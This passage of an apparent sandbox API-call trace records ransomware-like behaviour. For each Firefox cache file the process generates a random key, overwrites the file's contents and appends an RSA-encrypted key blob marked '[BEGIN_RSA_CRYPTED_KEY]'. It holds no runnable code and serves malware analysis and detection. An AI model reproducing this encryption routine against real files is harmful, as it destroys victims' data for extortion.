nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e0e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x69, lpOverlapped=0x0) returned 1 [0254.036] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.036] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e2c8*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e2c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x69, lpOverlapped=0x0) returned 1 [0254.037] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x69 [0254.037] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.037] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.038] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.038] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="umnWyHFXbvu5e5SMd3mWpdnXgfMwZPpRsarA3oVFw1v2bofFDwLweobSmvKheapO\n9HaavW9auUvWlgdU87nGbmoRCq0Lo8to3rgoqkX7A2yhN6RBcesadnJNcrknh8s0\nQkDrvVgZc7u3hzYj8CZqCBtjqElzg7zyAtyn5FphAuQLr3xKg5770uIDAQ89+1Rl\n6hoZoky4AkZGYMVsrJTOrIJrcYGGhJ5vSWkN98SRBQjuuyeEymb0u4dNs1wHF0XZ\nxQtVbcO9O3hNaJI+kuoKEQnbn59yqz9pjtlvupbXtXKA8Du6wgrUL6jUdLgjZfVy\nHEKPq9sxbAkrlZ2E8dL7Mw==\n", pcchString=0x2e3f9a8) returned 1 [0254.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.039] CloseHandle (hObject=0x1b84) returned 1 [0254.051] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.051] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\E05851F91D84676AE62F23690C7CDA22080CEBD8", dwFileAttributes=0x80) returned 1 [0254.052] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0254.158] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.158] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0254.159] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0254.159] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.159] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.159] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.159] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.160] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1lQjnOvY3r20Npwn+Z2g/zX0N4WI7sZBNMYiPvyRRMsSqek+YL9Esu2m9L5IPITb\nOKyovlAdngB+TX0ziUnWXRaIYXy+KggPTTRqSBKeCu3Ut1hfeTKNQniIbF5Mj+Wg\nXm5vJr7DlNo0RFTmu8qsvkQrNTxwJvmTzXygem78p7KEAytTgjfhe5MlgEI0JmVY\nhXuq15Wh2WwruelANZkXoJ82JUI+ZRr0evvi/h0372fRIRPKZhfNoCOpnDDylbSt\n3h+lO12SO4ddo34RJZBcapYUPmCF9ScFvecVrQVyy9RmF2JSGEdbfFPNvP9kFwwC\nT9erh3lIqimIcDMpnETUkQ==\n", pcchString=0x2e3f9a8) returned 1 [0254.160] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.160] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.160] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.160] CloseHandle (hObject=0x1b84) returned 1 [0254.162] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.162] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DFCB16D54D5A09081967529D94071BECB7538B0C", dwFileAttributes=0x80) returned 1 [0254.162] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x1a48, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a48, lpOverlapped=0x0) returned 1 [0254.163] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.163] WriteFile (in: hFile=0x1b84, lpBuffer=0x344faa8*, nNumberOfBytesToWrite=0x1a48, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344faa8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a48, lpOverlapped=0x0) returned 1 [0254.164] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a48 [0254.164] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.164] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.164] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.165] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.165] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JVBCsogfK9fq0685OB8JAAP+YWtRRlVdWm4KwpZKo6VEp5o0T1AcjnLY0biTpzi0\nOSrNY4sUc8Kwhve7oD2e5aYNPuv82UpDTVpgIeM0ERlQQUjaFQWr3xoDWE8u4ZOg\nW6+LNeNY6i4d0JIhENhwFsVKTN2KItm5l2bI0702LpcaRa99VuDUU8vfQkPb6Wtz\nTiJpmm1J2jTOAeeOVrecO6SHKM9gUvHQWbPai73Wiv8Y9MdaYgfNAnOpVNuPqMQk\nZD9d9XSVW30bTRwATJRCr+qDGMJl/3Ik9wseNWgrswZ+9fIJ6DHfncMsrcOGREIL\npr0lZIYx2nVz50y/J6olKA==\n", pcchString=0x2e3f9a8) returned 1 [0254.165] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.165] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.165] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.165] CloseHandle (hObject=0x1b84) returned 1 [0254.166] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.166] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DFA4DCBD00F487C38C27814196372718835B7FAE", dwFileAttributes=0x80) returned 1 [0254.167] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0254.168] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.168] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0254.169] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0254.169] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.169] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.169] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.169] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.169] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.169] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wW4uCLTIWi/WgNqEoBszbmjyJmBdYlVYebQR7hV9iYeeTYD16JL9Jn2YojTKnG9v\n8K0+CklR2XMSSzU8q842bJkYs2GLOP6VctJ7DC9uLcWmSmG46YizUdVbT4/dKa3J\n/ue+H05ar89GdL4ppUPJF1fCZi7LIieMc6ruSoh10/K037AGHcJ0hk0eP/o1znO8\n0Fmp3XJlphV35XexYpFb8TCIVVs6u0FG7HulabcZpkFNLpjDVhOXIpUeuXgkcvw5\nvtGpsRZqPVQn8whfcqYkeVr/zSunPF9PZ78/dadnLroh3jsc7Ojtj971xsdqW0Kw\nErtvR2GnE/62iQGNZmhyLQ==\n", pcchString=0x2e3f9a8) returned 1 [0254.169] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.170] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.170] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.170] CloseHandle (hObject=0x1b84) returned 1 [0254.171] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.171] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DDF534463C69F719834EE2B5D801FDBE1C25CF6C", dwFileAttributes=0x80) returned 1 [0254.172] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x11aa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x11aa, lpOverlapped=0x0) returned 1 [0254.173] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4522, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.173] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f210*, nNumberOfBytesToWrite=0x11aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f210*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11aa, lpOverlapped=0x0) returned 1 [0254.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11aa [0254.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.174] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.174] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lVhsjxjqwvvZPtbBgPkdqJapv6Mki2wdjfRz9KuJIlNJcwXhezYwmUDoQwYLYjtj\np2XQ6TQtsBgXv+51jr8IvgTGT4rBAvfsYYrxWzphxQoEvHIFGrZcztsma6dHX+zq\n9WpMlB4CIAxklebnIkLksFqL+J7hE+g7u2iMEir1+bTCAudf2AW9f9xvlQRLBRRR\nJa6Ghm6rXx+wnFuwzz3SMHzvDP26ZUKcVC5oOHdi2K03DTEgwD7TvrW1Z9Y2hRbK\njIvvjfPkyGQ72zTijoLYbDqXMBgh4ZhMIl784v8Z6v/2zw0EKEfh8jwGP+p931eq\nXw3L2SdpRYPpEpE/X0pMZQ==\n", pcchString=0x2e3f9a8) returned 1 [0254.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.175] CloseHandle (hObject=0x1b84) returned 1 [0254.177] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.177] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DDD3CCBC5B9060DF64802E72007266B115EE1FC2", dwFileAttributes=0x80) returned 1 [0254.177] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x66d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x66d, lpOverlapped=0x0) returned 1 [0254.269] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.269] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x66d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x66d, lpOverlapped=0x0) returned 1 [0254.270] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x66d [0254.270] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.270] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.270] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.270] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Pbq25CvO0O8NcJLKUGgkYiCxJD6kd29ogbFZF6Q2irKJ8+RDW3Uuhu/c4f5juHJX\nhw72jGDpmo9yhtoNZ4vT6xhnCoXn8oKP/xDX3h1kxusiEqfaLynGFJIUA4H9iP7o\n9bQcCqh/d+l+BJAN/2NXT4zLVar/OV6lkC0GapOo9I/8fAqMc3MUC7UHblY6GacW\n4z0OxclxwBma0gZ/78gQb9pd8dxT/BYHuF0X/DK4Dqs4GFUCIlregTjutyB/XWb9\n1ritwL+fuNt4E9o2OQncj5lxHH5CoRXyEvmRxbUrubTGS9G0B28QEUgTmKnVmcT+\n+xazi4gkpTPGRK1jdvcunQ==\n", pcchString=0x2e3f9a8) returned 1 [0254.271] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.271] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.271] CloseHandle (hObject=0x1b84) returned 1 [0254.364] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.364] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DD7955ED55E47999EA8C7EA435E8A9998516745D", dwFileAttributes=0x80) returned 1 [0254.365] ReadFile (in: hFile=0x1b84, lpBuffer=0x664e90, nNumberOfBytesToRead=0xba, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x664e90*, lpNumberOfBytesRead=0x2e3f9b4*=0xba, lpOverlapped=0x0) returned 1 [0254.365] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0254.366] WriteFile (in: hFile=0x1b84, lpBuffer=0x664468*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x664468*, lpNumberOfBytesWritten=0x2e3f9b4*=0xba, lpOverlapped=0x0) returned 1 [0254.366] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xba [0254.366] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.366] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.367] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0254.367] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0254.367] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0254.367] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7WHWv5SFJzPEHPFZY/ipo61tp1va/51AaC/ImB0XwONdnl27Vgo+PRV5a1EJvT3K\nJ8tcvlqsAX2uy7rHNEikEnUB+ECs7ZbSVi4N3mGuXwkhZbt8tvGM29uX+3gmXvkF\nf2kaoJsVvq74cSJ6fFfvjYoC6LCi2aqTb06z1mJszmdWfVRY1CPbBLekmbuL4Fsl\n+wWm8ThpnwJmGzs/0Hesux0RKzvzRD3hLW2/OChYiGdIZBjCZS+iZJ7FakHcfbeK\nTVRKh6bRHIUHl3BsfBmkW/4Xn6hKIWW5+XaFNz7/8O4Mjhur9UvD5KPKJ1nAy2iG\nb/H7b9+nwCU2m9pCoXOPTg==\n", pcchString=0x2e3f9a8) returned 1 [0254.367] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0254.368] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0254.368] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0254.368] CloseHandle (hObject=0x1b84) returned 1 [0254.370] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0254.370] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\DCE49316C46D033A447D63AB001FB1468825204A", dwFileAttributes=0x80) returned 1 [0254.371] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, 